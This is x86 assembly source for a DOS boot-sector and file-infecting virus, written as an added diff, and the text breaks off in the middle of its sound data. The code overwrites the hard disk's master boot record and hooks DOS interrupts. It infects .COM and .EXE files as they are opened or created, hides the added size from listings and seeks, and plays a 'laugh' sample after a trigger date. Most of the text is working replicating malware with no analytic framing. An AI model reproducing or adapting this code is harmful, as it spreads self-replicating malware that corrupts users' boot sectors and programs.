mov ax,201h ; read bootsector from disk + xor bx,bx + mov cx,1 + mov dx,80h + int 13h + jc BootOk ; error ? + mov si,offset BootSector ; compare with infected code + xor di,di + mov cx,1*BootSize + cld + repe cmpsb + je BootOk ; equal ? + mov di,1beh+8 ; check partitions, we don't + mov cx,4 ; want to overwrite them +NextPartition: cmp word ptr es:[di+2],0 + ja SectOk + cmp word ptr es:[di],(VirusSize+1ffh)/200h+1 + ja SectOk + cmp word ptr es:[di],0 + ja BootOk +SectOk: add di,10h + loop NextPartition + mov si,offset BootSector ; exchange code from bootsector + xor di,di ; with viral code + mov cx,1*BootSize + cld + call Swapsb + push es ; write virus to disk + pop ds + push cs + pop es + mov ax,(VirusSize+1ffh)/200h+300h + mov cx,2 + int 13h + push ds + pop es + push cs + pop ds + jc BootOk ; error ? + mov ax,301h ; write bootsector to disk + mov cx,1 + int 13h +BootOk: pop cx ; restore bx and cx + pop bx + mov dx,cs ; dx = destenation segment + xor di,di + push es ; push seg:ofs of mover + push di + push cx ; save cx + mov cx,1*MoverSize + mov si,offset Mover + cld ; copy mover-procedure + rep movsb + pop cx ; restore cx + cli ; disable interrupts + retf ; jump to mover + +Mover: mov ax,cx ; save cx + mov ds,bx ; ds:si = source + mov es,dx ; es:di = destenation + xor si,si + xor di,di + mov cx,8h ; copy one paragraph + rep movsw + inc bx + inc dx + mov cx,ax ; restore cx + loop Mover ; next paragraph + mov ss,bp ; ss = new stacksegment + sti ; enable interrupts + pop es ; restore registers + pop ds + pop ax + iret ; jump to program + +MoverSize equ ($-Mover) + +;------------------------------------------------------------------------------ +; +; Bootsector startup +; +;------------------------------------------------------------------------------ + +Bootsector: cli ; disable interrupts + xor bx,bx ; setup stack and ds + mov ds,bx + mov ss,bx + mov sp,7c00h + sti ; enable interrupts + mov ax,ds:[413h] ; get size of base memory + sub ax,(VirusSize+3ffh)/400h; subtract virussize + mov ds:[413h],ax ; store new memory size + mov cl,6 ; calculate segment + shl ax,cl + mov es,ax ; load virus in reserved mem + mov ax,(VirusSize+1ffh)/200h+200h + mov cx,2 + mov dx,80h + int 13h + mov bx,offset StartUp ; bx=offset startup + push es ; jump to startup (es:bx) + push bx + retf + +BootSize equ ($-Bootsector) ; size of bootsector part + +StartUp: cli ; disable interrupts + mov ax,offset Interrupt1C ; hack interrupt 1C + xchg ax,ds:Int1Co + mov cs:OldInt1Co,ax + mov ax,cs + xchg ax,ds:Int1Cs + mov cs:OldInt1Cs,ax + mov cs:OldInt21o,-1 + mov cs:OldInt21s,-1 + mov cs:Count,-1 + sti ; enable interrupts + push cs ; ds=cs + pop es + mov si,7c00h ; di=7c00h (Bootsector) + mov di,offset BootSector ; si=BootSector + mov cx,1*BootSize ; bytes to copy + cld ; copy forward + call Swapsb ; restore orginal boot + mov ax,7c00h ; offset bootsector + push ds ; jump to bootsector + push ax + retf + +Interrupt8: push ax ; save registers + push si + push ds + push cs + pop ds + mov si,SampleOffset ; get offset of next bit + dec byte ptr ds:SampleBit + test byte ptr ds:SampleBit,7 + jnz OfsOk + inc si + cmp si,offset SampleEnd ; end of sample ? + jb OfsOk ; no, play bit + mov al,34h ; reset int 8 frequency + out 43h,al + xor ax,ax + out 40h,al + out 40h,al + mov ds,ax ; reset int 8 vector + mov ax,cs:OldInt8o + mov ds:Int8o,ax + mov ax,cs:OldInt8s + mov ds:Int8s,ax + inc byte ptr cs:SampleFlag ; set sample ready flag + jmp short ExitInt8 ; end of interrupt +OfsOk: mov SampleOffset,si ; store offset + rol byte ptr ds:[si],1 ; next bit + mov ah,ds:[si] ; get bit value + and ah,1 + shl ah,1 + in al,61h ; get value of io-port 61h + and al,0fch ; reset last 2 bits + or al,ah ; set bit 2 with sample value + out 61h,al ; write to io-port 61h +ExitInt8: mov al,20h ; end of interrupt signal + out 20h,al + pop ds ; restore registers + pop si + pop ax + iret ; return to program + +Interrupt1C: push ds ; save registers + push ax + push bx + xor ax,ax ; interrupts vectors + mov ds,ax + mov ax,ds:Int21o + cmp cs:OldInt21o,ax + jne Changed + mov ax,ds:Int21s + cmp cs:OldInt21s,ax + je Equal +Changed: mov ax,ds:Int21o + mov cs:OldInt21o,ax + mov ax,ds:Int21s + mov cs:OldInt21s,ax + mov cs:Count,182 + jmp short NotReady +Equal: dec cs:Count + jnz NotReady + mov ax,cs:OldInt1Co ; restore vector 1C + mov ds:Int1Co,ax ; (This interrupt) + mov ax,cs:OldInt1Cs + mov ds:Int1Cs,ax + mov ax,offset Interrupt21 ; Hack interrupt 21 + xchg ax,ds:Int21o + mov cs:OldInt21o,ax + mov ax,cs + xchg ax,ds:Int21s + mov cs:OldInt21s,ax + mov ax,16 + mov bx,offset Handle +NextHandle: mov byte ptr cs:[bx],0 + inc bx + dec ax + jnz NextHandle + mov byte ptr cs:Active,-1 +NotReady: pop bx + pop ax ; restore registers + pop ds + jmp cs:OldInt1C ; do orginal int 1C + +Swapsb: mov al,es:[di] ; exchange two memory bytes + xchg al,ds:[si] + stosb + inc si + loop Swapsb ; next byte + ret ; return + +;------------------------------------------------------------------------------ +; +; Manipilated functions +; +;------------------------------------------------------------------------------ + +Functions db 11h ; 1 + dw offset FindFCB + db 12h ; 2 + dw offset FindFCB + db 30h ; 3 + dw offset DosVersion + db 3ch ; 4 + dw offset Open + db 3dh ; 5 + dw offset Open + db 3eh ; 6 + dw offset Close + db 42h ; 7 + dw offset Seek + db 45h ; 8 + dw offset Duplicate + db 46h ; 9 + dw offset Redirect + db 4eh ; 10 + dw offset Find + db 4fh ; 11 + dw offset Find + db 5bh ; 12 + dw offset Open + db 6ch ; 13 + dw offset OpenCreate + +FunctionCount equ 13 + +;------------------------------------------------------------------------------ +; +; The orginal interrupt 21h is redirected to this procedure +; +;------------------------------------------------------------------------------ + +DosVersion: push ax + push cx + push dx + push ds + push cs + pop ds + cmp cs:Active,0 + je NotActive + mov ah,2ah + call DOS + cmp ActiveYear,cx + jb NotActive + cmp ActiveDate,dx + jb NotActive + cli + xor ax,ax + mov ds,ax + mov ax,offset Interrupt8 + xchg ax,ds:Int8o + mov cs:OldInt8o,ax + mov ax,cs + xchg ax,ds:Int8s + mov cs:OldInt8s,ax + mov al,34h + out 43h,al + mov al,80h + out 40h,al + mov al,0 + out 40h,al + push cs + pop ds + mov byte ptr SampleFlag,0 + mov byte ptr SampleBit,0 + mov word ptr SampleOffset,offset SampleData + sti +Delay: cmp byte ptr SampleFlag,0 + je Delay + mov byte ptr Active,0 +NotActive: pop ds + pop dx + pop cx + pop ax + jmp Old21 + +FindFCB: call DOS ; call orginal interrupt + cmp al,0 ; error ? + jne Ret1 + pushf ; save registers + push ax + push bx + push es + mov ah,2fh ; get DTA + call DOS + cmp byte ptr es:[bx],-1 ; extended fcb ? + jne FCBOk + add bx,8 ; yes, skip 8 bytes +FCBOk: mov al,es:[bx+16h] ; get file-time (low byte) + and al,1fh ; seconds + cmp al,1fh ; 62 seconds ? + jne FileOk ; no, file not infected + sub word ptr es:[bx+1ch],VirusSize + sbb word ptr es:[bx+1eh],0 ; adjust file-size + jmp short Time + +Find: call DOS ; call orginal interrupt + jc Ret1 ; error ? + pushf ; save registers + push ax + push bx + push es + mov ah,2fh + call DOS + mov al,es:[bx+16h] ; get file-time (low byte) + and al,1fh ; seconds + cmp al,1fh ; 62 seconds ? + jne FileOk ; no, file not infected + sub word ptr es:[bx+1ah],VirusSize + sbb word ptr es:[bx+1ch],0 ; change file-size +Time: xor byte ptr es:[bx+16h],1fh; adjust file-time +FileOk: pop es ; restore registers + pop bx + pop ax + popf +Ret1: retf 2 ; return + +Seek: or bx,bx ; bx=0 ? + jz Old21 ; yes, do orginal interrupt + push bx + call FindHandle + pop bx + jc Old21 +Stealth: or al,al ; seek from top of file ? + jnz Relative ; no, don't change cx:dx + add dx,VirusSize ; change cx:dx + adc cx,0 +Relative: call DOS ; Execute orginal int 21h + jc Ret1 ; Error ? + sub ax,VirusSize ; adjust dx:ax + sbb dx,0 + jmp short Ret1 ; return + +Close: or bx,bx ; bx=0 ? + je Old21 ; yes, do orginal interrupt + push ax + push cx + push dx + push si + push ds + push cs ; ds=cs + pop ds + push bx + call FindHandle + mov si,bx + pop bx + jc DoNotUpdate + mov word ptr ds:[si],0 + cmp byte ptr ds:[si+2],0 + je DoNotUpdate + call UpdateHeader +DoNotUpdate: pop ds ; restore registers + pop si + pop dx + pop cx + pop ax +Not2: jmp short Old21 ; continue with orginal int + +Interrupt21: push bx ; after an int 21h instruction + push cx ; this procedure is started + mov bx,offset Functions + mov cx,FunctionCount +NxtFn: cmp ah,cs:[bx] ; search function + je FunctionTrap + add bx,3 + loop NxtFn + pop cx ; function not found + pop bx +Old21: jmp cs:OldInt21 + +FunctionTrap: push bp ; function found, start viral + mov bp,sp ; version of function + mov bx,cs:[bx+1] + xchg bx,[bp+4] + mov cx,[bp+10] + xchg cx,[bp+2] + pop bp + popf + ret + +Duplicate: call DOS + jc Error + pushf + push bx + push dx + call FindHandle + jc Ret3 + mov dl,cs:[bx+2] + mov bx,ax + call StoreHandle +Ret3: pop dx + pop bx + popf + jmp Ret2 + +Redirect: call DOS + jc Error + pushf + push bx + push cx + xchg bx,cx + call FindHandle + jc Ret4 + mov cs:[bx],cx +Ret4: pop cx + pop bx + popf + jmp Ret2 + +OpenCreate: or al,al ; extended open/create function + jne Old21 ; no, do orginal interrupt 21 + push dx ; save dx + mov dx,si ; check extension of filename + call CheckName + pop dx ; retore dx + jc Old21 ; exe or com-file? + jmp short ExtensionOk ; yes, infect file or use + ; stealth + +Open: call CheckName ; exe or com-file ? + jc Old21 ; no, do orginal int 21 +ExtensionOk: call DOS ; do interrupt 21 + jnc NoError ; error ? +Error: jmp Ret2 ; yes, return and do nothing +NoError: pushf ; save registers + push ax + push bx + push cx + push dx + push ds + push cs + pop ds + mov bx,ax ; bx = file handle + mov ax,4400h ; get device information + call DOS + jc PopRet ; error ? + test dx,80h ; character device + jnz PopRet ; yes, return and do nothing + call EndOfFile ; get file size + or ax,dx ; 0 ? + jnz FileExists ; no, file already existed +FileCreated: call HandleFree + jc PopRet + mov ah,2ah + call DOS + add dh,3 + cmp dh,12 + jbe DateOk + inc cx + sub dh,12 +DateOk: mov ActiveYear,cx + mov ActiveDate,dx + mov ah,40h ; write virus to file + mov cx,VirusSize + call Zero2 + jc NoVir ; error ? yes, return + xor ax,cx ; entire virus written ? + jnz NoVir ; no, return + mov dl,1 + call StoreHandle + jmp short PopRet ; return +FileExists: call TopOfFile ; go to top of file + call HandleFree + jc PopRet ; no, do nothing + call ReadHeader ; read exe-header + jc NoVir ; error ? + xor ax,cx ; entire header read + jne NoVir ; no, not infected + cmp Signature,5a4dh ; signature = 'MZ' ? + jne NoVir ; no, not infected + cmp HeaderSize,ax ; headersize = 0 ? + jne NoVir ; no, not infected + cmp CheckSum,0DEADh ; checksum = DEAD hex + jne NoVir ; no, not infected + mov dl,0 + call StoreHandle + mov dx,VirusSize ; seek to end of virus + jmp short Infected +NoVir: xor dx,dx +Infected: xor cx,cx ; go to end of virus if file + mov ax,4200h ; is infected + call DOS +PopRet: pop ds ; restore registers + pop dx + pop cx + pop bx + pop ax + popf +Ret2: retf 2 ; return + +;------------------------------------------------------------------------------ + +EndOfFile: mov ax,4202h ; go to end of file + jmp short Zero1 + +TopOfFile: mov ax,4200h ; go to top of file +Zero1: xor cx,cx + jmp short Zero2 + +WriteHeader: mov ah,40h ; write exe-header to file + jmp short Hdr + +ReadHeader: mov ah,3fh ; read exe-header from file +Hdr: mov cx,1eh +Zero2: xor dx,dx + +DOS: pushf ; call orginal interrupt + call cs:OldInt21 + ret + +FindHandle: push ax + push cx + mov ax,bx + mov bx,offset Handle + mov cx,8 +NotFound: cmp ax,cs:[bx] + je Found + inc bx + inc bx + inc bx + loop NotFound + stc +Found: pop cx + pop ax + ret + +HandleFree: push bx + xor bx,bx + call FindHandle + pop bx + ret + +StoreHandle: push bx + push bx + xor bx,bx + call FindHandle + pop cs:[bx] + mov cs:[bx+2],dl + pop bx + ret + +CheckName: push ax ; check for .exe or .com + push cx ; save registers + push si + push di + xor ah,ah ; point found = 0 + mov cx,100h ; max length filename = 100h + mov si,dx ; si = start of filename + cld +NxtChr: lodsb ; get byte + or al,al ; 0 ? + je EndName ; yes, check extension + cmp al,'\' ; \ ? + je Slash ; yes, point found = 0 + cmp al,'.' ; . ? + je Point ; yes, point found = 1 + loop NxtChr ; next character + jmp short EndName ; check extension +Slash: xor ah,ah ; point found = 0 + jmp NxtChr ; next character +Point: inc ah ; point found = 1 + mov di,si ; di = start of extension + jmp NxtChr ; next character +EndName: cmp ah,1 ; point found = 0 + jne NotExe ; yes, not an exe-file + mov si,di ; si = start of extension + lodsw ; first 2 characters + and ax,0dfdfh ; uppercase + mov cx,ax + lodsb ; 3rd character + and al,0dfh ; uppercase + cmp cx,04f43h ; extension = .com ? + jne NotCom + cmp al,04dh + je ChkRet +NotCom: cmp cx,05845h ; extension = .exe ? + jne NotExe + cmp al,045h + je ChkRet +NotExe: stc ; set carry flag +ChkRet: pop di ; restore registers + pop si + pop cx + pop ax + ret ; return + +UpdateHeader: mov ax,4200h ; position read/write pointer + xor cx,cx ; at the end of the virus + mov dx,VirusSize + call DOS + call ReadHeader ; read orginal exe-header + cmp Signature,5a4dh + je InfectExe +InfectCom: mov Signature,5a4dh + mov ReloOffset,01ch + mov OverlayNr,0 + mov ExeSS,(VirusSize-100h)/10h + mov ExeSP,0fffeh + call EndOfFile + sub ax,VirusSize + sbb dx,0 + mov ComSize,ax + mov cx,10h + div cx + sub dx,1 + mov dx,0ff2h+20h + sbb dx,ax + mov MinMem,dx + jmp WriteIt +InfectExe: mov ComSize,-1 + mov ax,(VirusSize/10h) + add ax,HeaderSize + add ExeSS,ax + add MinMem,20h + add MaxMem,20h + jnc MaxOk +WriteIt: mov MaxMem,0ffffh +MaxOk: mov ReloCount,0 + mov HeaderSize,0 + mov CheckSum,0DEADh + mov ExeCS,0 + mov ExeIP,offset Main + call EndOfFile + mov cx,200h + div cx + mov PartPage,dx + add dx,-1 + adc ax,0 + mov PageCount,ax + call TopOfFile + call WriteHeader ; write header at the top of + jc InfErr ; the virus + mov ax,5700h + call DOS + mov ax,5701h + or cl,1fh + call DOS +InfErr: ret + +;------------------------------------------------------------------------------ +; +; Data to generate the Laugh sound +; +;------------------------------------------------------------------------------ + +SampleData db 249,220,204,102, 51, 51,116,102,227, 6, 28,216,243,129,131, 54 + db 140,204,226,227, 51, 18, 25,184, 98,199,131, 30, 25,204,204,193 + db 230, 79, 28,248, 98,241,142,199, 51, 24,228,249,179, 44,221,241 + db 54, 71,254, 46, 8,255,139,227, 59,196,241, 49,198,208,243,205 + db 193,115,155,131,206, 46, 14,177,176, 51,205,129,158, 54,142,113 + db 144,115,140,135, 56,240, 55,205,131,188,124, 51,199,195,156,120 + db 25,199,129,156, 76, 49,197,195, 28,110, 57,231,129,156,120, 25 + db 197,145,156,108, 25,102,201,158, 46, 12,113,224,231,141,163, 60 + db 76, 25,227,104,228,229,131,131,154,157, 24,102,114,206, 71,193 + db 241, 14,229,140, 55,196,241,125, 89, 27, 29,195,240,157, 30, 68 + db 193,246, 57,135, 99, 56,238, 25,134,196,241,230, 24, 6, 24,176 + db 231, 51,142,113,178,113,205, 55,160, 67, 57,198,143,177,147, 56 + db 115,135, 89,193,157, 56,103,156,112,115,102,217,227, 30, 76,121 + db 156,241, 35, 71, 56,227,155, 12,103,190, 56,115,198,105,150, 97 + db 142, 28,113,230, 50, 60,185,201,156, 76,248,231, 13,204,248,100 + db 199, 39, 28,113,198, 70, 71, 54,124,219, 99,135, 48, 62, 25,131 + db 112,196, 31, 14, 51,225,225, 56,110, 1,206, 51,147,110, 15,129 + db 252,127, 7,113,184, 29,135,192,236, 62, 7,227,224,127, 31, 3 + db 176,240, 63,143, 1,216,248, 29,143,131,184,248, 63, 15,131,112 + db 248,102, 28,134,225,208,238, 61, 12,199,161,220, 90, 25,199, 35 + db 184,244, 51,139, 67, 56,164,119, 22,134,115,104,238, 60,140,226 + db 217,206,105, 25,204,179, 28,211, 51,137, 38, 57,180,199, 50, 76 + db 115, 44,199, 50,156,230, 73,142,101,152,230, 89,142,116,153,230 + db 217,158,109,153,227, 65,142, 54, 14,241,176,102,198, 17,199, 26 + db 14,204,105, 59, 49,131,156,153,135,135, 19, 24, 30, 59,134, 99 + db 188, 48,195,112,198, 57,216,198, 44,110, 76,205, 50, 76,176,110 + db 19, 49,215, 48,222,199, 15,153,102,107, 38,195, 50,108, 51, 44 + db 113,228,201, 60,204,241,204,184,100,204,198, 57,227, 32, 30,127 + db 193,156,113,184,155, 24,201,201, 48,108,231,134, 70,112,102, 28 + db 103,115,177,118, 49,135, 19, 57,177,155, 31, 28,121,248,230, 31 + db 134, 96,248,230, 60,102,115, 51, 28, 51, 25,137,153,140,223,153 + db 197,198, 92, 46,115, 99,243,115, 25,179, 57,153,177,217,248,207 + db 76,204,243, 51, 27, 60,201,140,115, 28, 99, 51,137,227, 56,127 + db 19,185,222,115,241,230, 31,129,224,252, 15, 7,225,248, 62, 15 + db 131,224,120, 62, 7,129,240,120, 30, 7,129,224,124, 62,135,135 + db 145,240,241, 62, 60,143, 15,145,225,228,120,124, 15, 15, 3,227 + db 228,120,124, 31, 27,131,227, 96,252,108,159, 13,147,163,176,116 + db 118, 14, 7,193,224,248, 60, 31, 7,195, 96,232,108, 28, 13,131 + db 147,241,240,116, 62, 14,135,193,240,248, 62, 15, 14,192,225,216 + db 152, 63, 27, 15,195,193,248,124, 63, 15, 7,224,240,254, 30, 14 + db 227,192,238, 60, 30,227,224,231,143, 67,172,121,158, 51,144,112 + db 230, 88,207,193,179, 59,135, 99,198, 12,204,241,219, 7, 19,240 + db 228,110, 31,133,193, 48,120,230, 44,205,225,158, 54, 49,166,120 + db 220, 19,140,131,176,116, 79,131,129,204,124, 31, 3,193,249,204 + db 140,150, 38, 72,199,153,152,248,126,142, 79,131,131,248,190, 31 + db 15,195,241,120,236, 96,204,143, 14, 57, 57,248,110, 62,103, 33 + db 216,248, 57, 31, 6,102,120,207, 28,216, 14, 6, 99, 96,204, 60 + db 121, 51, 67,137,207, 17,156, 57, 30, 11,198,230, 51, 51,157,179 + db 148, 96,247,113,192,204,206, 15, 35,152, 28, 30, 38,224,248,153 + db 206,227,225,113,142, 67,152,152, 89, 56,131,134,242, 56,227, 28 + db 23,131,120, 62, 15,225,248, 63, 7,193,240,126, 15,129,224,124 + db 31, 7,192,248, 62, 15,131,224,248, 62, 15,131,224,248, 60, 15 + db 135,208,248,121, 31, 15, 33,225,228, 60, 30, 71,195,200,248,124 + db 15,135,193,248,248, 31, 31,131,225,240, 62, 31, 3,131,240,120 + db 59, 15, 3,176,102, 55, 14,195,112,236, 55, 15,195,112,252, 55 + db 143,195,248,240, 63,143, 3,184,249, 27,199,161,252, 57, 31,195 + db 193,252, 60, 31, 99,192,242, 60, 79, 25,230,121,207,177,206, 62 + db 199, 24,240, 30, 51,192,240,252, 27,143,161,240,126, 30,135,192 + db 248, 60, 31,135,192,248,126, 15,135,129,196,184, 47, 13,195,216 + db 126, 27,135,201,226, 28, 70, 13,226,112,124, 71, 3,231,188, 78 + db 30, 24,227,241,234, 62, 15,161,248, 62, 15, 7,112, 90, 99,112 + db 230, 25,147,225,240,110, 61,198,240,116, 29, 23,103, 48,240, 58 + db 47,143,113,206, 51,198,192,126, 62, 15, 7, 97,236, 62, 31, 7 + db 240,254, 63, 15,195,240,190, 31,143,128,248, 62, 63,143, 99,152 + db 243, 60, 31, 7,129,216, 28, 7, 12,211,188,124, 7, 39,192,116 + db 119, 14,195,156,120,188, 7,195,192,239, 31,131,196,120,220, 19 + db 204,120,147,248, 89,129,216,223,140,252,253,143, 60,237,143, 28 + db 207,142,120,223, 30,241,254, 57,227,252, 99,139,177,158, 46,133 + db 248,242, 14,199,192,251, 31, 2,236,249, 31,115,228, 29,139,160 + db 236, 89, 7, 99,228, 57,159, 33,236,120, 15, 35,100, 57,155, 53 + db 196,104,143, 51,102,184,141, 16,230,124,199, 57,226, 28,199,144 + db 230, 60, 67,153,242, 28,231,200,115, 30, 97,204,121,143, 49,230 + db 60,199,136,115,143, 1,198, 60,103,140,113,142, 56,211, 30,120 + db 240, 30, 60, 62, 77,207,153,225,124,124,153,118,126, 28,193,230 + db 60,135,129,242, 60,103,135,112,124, 31,140,112,238,120,227,184 + db 159,142,112,238, 57,145,231, 9,199,217,134,100,108, 3,163,248 + db 110,207,136, 97,199, 32,231, 63,135,136,242,102, 52,217,180,113 + db 198,112,227, 57,199, 4,193,204,115,142, 35, 12,219,156,118, 92 + db 203, 24, 99,128,241, 60, 39,204, 57, 31, 36,201,157, 19,230,108 + db 205,159, 99, 46,237,217, 51, 39,204, 28, 7, 12,120, 28,115,206 + db 124,142, 51,178, 60, 57,158, 62, 99, 12,153,209, 28,226,140, 51 + db 195, 24,243,188,230,217,227,144,240,158, 19,134,112, 79,200,241 + db 63,198,225,231,145,226,126, 79,129,243, 60, 79,129,240,120, 31 + db 3,192,240, 62, 15,193,240,120, 31, 3,225,240, 62, 31, 3,224 + db 240, 63, 15, 3,224,240, 63, 31, 7,225,240,126, 63, 7,225,248 + db 126, 31,135,225,220,110, 29,227,112,207, 27, 7,124,111, 28,241 + db 190, 60,227,100, 76,243, 60, 71,152,224,248, 63,135,227,248,126 + db 28,135,129,224,248, 63, 31,131,145,240,124, 47, 15,227,240,126 + db 31,131,224,248, 62, 31,198,241,220, 59, 15, 49,224, 56,143, 17 + db 199,185,248,126, 31,133,224,248, 62, 59,135, 96,252, 60, 23,197 + db 192,248, 60, 31, 49,196,241,216, 51,153,195,141,140,140, 62, 71 + db 102,248,190, 61,199,144,226, 62, 51,129,225,252, 62, 19,100,230 + db 49,140,115, 28, 3,160,224, 60, 71,131,226,248,156, 51,131,113 + db 248, 59,143,137,198, 56, 46, 29,193,240,230, 61,199, 57,230, 56 + db 215, 23, 38,120,230, 57,198, 35,198,108,141,148,113, 57,226, 57 + db 199,120,254, 15, 99,248, 70,197,200, 59, 31,225,248,191, 7,195 + db 232,126, 31, 3,240,252, 61,143,225,204,127, 14, 99,252,115,143 + db 227,204,119,143, 49,206, 60,199, 56,121,142,112,227,140,113,143 + db 199,216, 60,199, 33,248,121,143, 1,198, 57,198,204,227,156,224 + db 126, 30, 67,227, 56, 62, 29,143, 25,200,230, 30, 99,204,113, 14 + db 49,131, 92,197,206,120,238, 17,200,121, 7, 25,196, 24,222, 7 + db 0,112, 98, 61,142, 99,252, 63, 15,140,236,198,115, 70, 78,224 + db 220, 51,134,112, 78, 55,135,112,230, 56,254, 49,195,152,124,103 + db 35,182,113,133,225,188, 14,131,182, 62,121, 51, 7, 44,227, 25 + db 223, 24,228, 79,199,192,124, 15, 0,226,120,153, 49,202, 26, 39 + db 113,240,187, 31,225,240,117, 12,200,232,230, 51, 39,140,241, 29 + db 25,200,113,155,153, 62, 30, 3,168,113, 30, 1,195, 48, 76,127 + db 142, 99, 29,175, 57,142,195,243,220, 24,142, 3,136,248, 30, 19 + db 70,240,123, 59,199,120,227, 56,115, 15,199,248,248, 31, 3,193 + db 216, 57,142,113,206, 57,177,183,121,185, 3,248,206, 11,156,115 + db 129,156, 55,145,216, 95, 19,241,190,103,227,248, 31,139,240,118 + db 31,193,216,127, 7,113,126, 29,199,248,127, 15,224,252, 63,195 + db 184,255, 12,227,252, 51,142,240,206, 57,195,152,115, 12,227,156 + db 115,142,113,206, 56,199, 56,227, 28, 97,140,121,198, 57,231, 28 + db 227,156,115,143, 56,199, 14,120,143,134,120, 79, 14,120,223, 15 + db 222, 51,227, 29,193,252,103,135,152,142, 12,228,114, 59,152,204 + db 224, 55, 25,241,156,100,199, 57,185, 28,199,204,113,159, 24,198 + db 7, 2, 57,207, 12,113,198, 56,249,193,220,115, 7, 3,225,240 + db 30,208,226, 28, 97,192, 56,193, 67, 51, 49,142,207,140,240,142 + db 49,227,156,103,131, 57,142, 99,226, 60, 15,128,240, 30, 7,145 + db 249, 14, 1,224, 61,131,240,115, 14, 65,248,121, 7,160,230, 63 + db 195,220, 63,135,240,158, 25,195, 24,231, 24, 99,156, 49,206,115 + db 135, 57,200,156,103, 48,113,142,112,198, 59,195, 24,231, 14,113 + db 156, 27,196,112,231, 61,241,220,127,134,113,220, 29,199, 55,127 + db 15,225,252, 31,135,248, 31, 15,231,156,103, 14,227,252, 51,152 + db 61, 6,120,207, 3,248,158, 7,240, 62, 67,224,124, 15,224,252 + db 143,192,241, 31,129,226, 62, 7,192,252, 31,129,248, 63, 7,240 + db 124, 15,193,248, 63, 7,224,254, 31,193,248, 63, 7,240,254, 15 + db 193,252, 63,131,240, 63, 7,224,126, 31,193,252, 63,131,248,190 + db 7,241,124, 31,227,252, 63,195,248, 63,199,240,125,199,216,120 + db 227, 14, 48,248, 15,128,252, 31,195,248,103, 3,241,220, 7,195 + db 248,127,135,240,126, 15,224,252, 31,129,248, 63, 7,240,120, 15 + db 128,240, 63, 15,224,254, 31,193,248, 31, 3,225,246, 31,195,220 + db 63,131,240, 63,131,224,126, 7,224,252, 31,195,252, 62, 7,248 + db 124, 15,177,248, 15, 3,240,254, 7,128,248, 15, 1,248, 30, 7 + db 192,124, 15,129,242, 59,131,192,116, 30, 3,232,126, 7,224,254 + db 7,192,252,103, 3,152,244, 23, 3,224, 60, 7,194,188, 7,129 + db 252, 47, 7,176,126, 15,224,252, 25,194,241, 57,199,112,112, 15 + db 1,248, 31,135,240,255, 15,225,248, 31,131,248,124, 3,240,124 + db 15,129,240, 31, 3,224,125, 7,160,126, 15,192,230, 28,227,136 + db 120, 7,176,244, 30,193,240, 61, 7,176,246, 14, 1,200, 28, 3 + db 128, 60, 7,134,120, 79,129,248,127, 7,230,120,199,152,225, 14 + db 115,192, 57,199, 28,115, 7, 25,254, 78,231, 59,221,200, 15,204 + db 156,152, 14,236,252,136,142,236,204,136, 76,204,249,144, 25,147 + db 114,100,118,111,145, 39,191,249, 19,247, 36,127,152, 19,254,136 + db 159,176, 7,254, 1,127,192, 31,252, 1,255,128, 31,230, 65,254 + db 0,127,216, 19,254, 1,127, 32, 15,248, 1,255,192, 31,248, 3 + db 254, 0,255,192, 31,248, 1,255,128, 31,224, 7,252, 9,190, 96 + db 15,236, 9,255, 0,159,176, 7,251, 2,127,128, 31,216, 11,252 + db 129,191,144, 15,252, 3,255,128, 63,228, 13,254, 0,255,240, 7 + db 254, 1,191,192, 31,252, 1,255, 0,127,248, 19,127,129, 63,228 + db 15,254, 0, 63,224, 13,254, 34, 55,228, 73,254,100,223,124,201 + db 191,224, 25,179, 32, 79,236,137,255,192, 79,254, 0,255,200, 23 + db 249, 32,155,108,130,102, 76,200,204,222, 4,166,251, 19, 32, 31 + db 236,140,236,204,108,204,153, 20,217,153, 25,179, 32,118,249,166 + db 219, 32, 23,108,146,108,200,111,230, 70,236,195, 63, 36, 71,201 + db 153, 59, 36,219,178,110,236,130, 93,194,102,249, 32,207,228, 66 + db 123,146, 59, 51, 38,153, 50,219,100,251,153,157,154,100, 99, 54 + db 108,195, 50,121,182,217,166,125, 50, 79, 54, 73,178,204,214,108 + db 147, 51, 33,147,108,200,155,177, 37,179,102, 3,237,140,154,136 + db 155,246, 68,255,236,137, 19, 63,204,153,191,144, 19,254, 64, 79 + db 252, 4,255,128, 63,240, 7,255, 19,119,233, 19, 51, 34, 55,120 + db 2,110,201, 63,220,139,230, 98,127,140,102,243,201,155,216, 7 + db 243, 19,124,204,137,190, 3,246,115, 51, 38,100,219, 96, 59, 62 + db 68,155,200,159,236,201,178,100, 73, 51, 19,153,140,155, 49, 19 + db 236,131,127,241, 3,252,205,222, 25,153,255,145, 62, 3,102, 76 + db 217, 31,204, 31,153,191,112, 63,177,187,204, 76,119,112, 29,196 + db 27,243, 38,204,199, 51, 54, 76,157,230, 77,217,144, 63,228, 79 + db 100,178,100,205,143,236, 25,147,120,129,248, 3,252,146,220,132 + db 216,157,217,183, 51, 35,147,205, 36,216, 25,155, 50,101,147,147 + db 38,196,105, 50, 71,199, 28,216,115, 48,205,179, 38,216, 60,179 + db 97,230,109,147,110, 38,121, 48,227, 64,204,198, 7, 14,108, 76 + db 184,240,195,239,134,115, 55,137, 15,184, 38,108, 12, 25,204,104 + db 243, 97,147,199, 39,152, 54,125, 49,243,179,102,205,204,155, 54 + db 126, 89, 60,217,102,195, 39,131, 79, 7,156, 38,121, 48,112,217 + db 225,159,227, 19, 12,150, 67, 54, 77,188,153, 60,250,108,155,108 + db 61,200,134, 79, 46,192,221, 3,255, 17,240,255,240, 62, 13,254 + db 19,178,223,128,204, 39,209, 44,153,225,180, 29,225, 60, 63,194 + db 120, 63, 1,248,188, 15,113,116, 27, 7, 51,204,115, 30,230, 59 + db 133,241, 60, 7,145,236,206,195,184,222, 3,137,242, 60,140, 99 + db 228,241,159, 23, 68,216,249, 15, 17,134,199, 65,126, 63, 7,216 + db 254, 31,227,232, 59,143,226,254, 55,135,241,188,101,199, 57,135 + db 198,112,159, 31,195,248,158, 71,249,199,145,240,248, 15,103,204 + db 19,141,195, 56,143,129,252, 7,167,241, 61,140,225,156, 3,136 + db 114, 30, 49,204,240,118, 48,195, 30, 71,192,121, 23, 1,248,198 + db 48,236, 49,156,241, 12,143,130,120,254, 15,226,184,251, 19,217 + db 253, 39,155, 98, 45,144,204, 55,155,113,159, 39, 97,242,187, 6 + db 244,195, 60,102,217,131, 38, 51,129,196,198, 12,224,198,125,100 + db 147,201, 53,159, 99, 60, 27, 97,188,142, 55,128,241,204,198,109 + db 130, 25,229,152,121,147, 49,140,153, 36,194,115, 24,198,121, 39 + db 152,243, 55, 19,198,126, 25,201,236,247, 25,196,120,141, 36,243 + db 46, 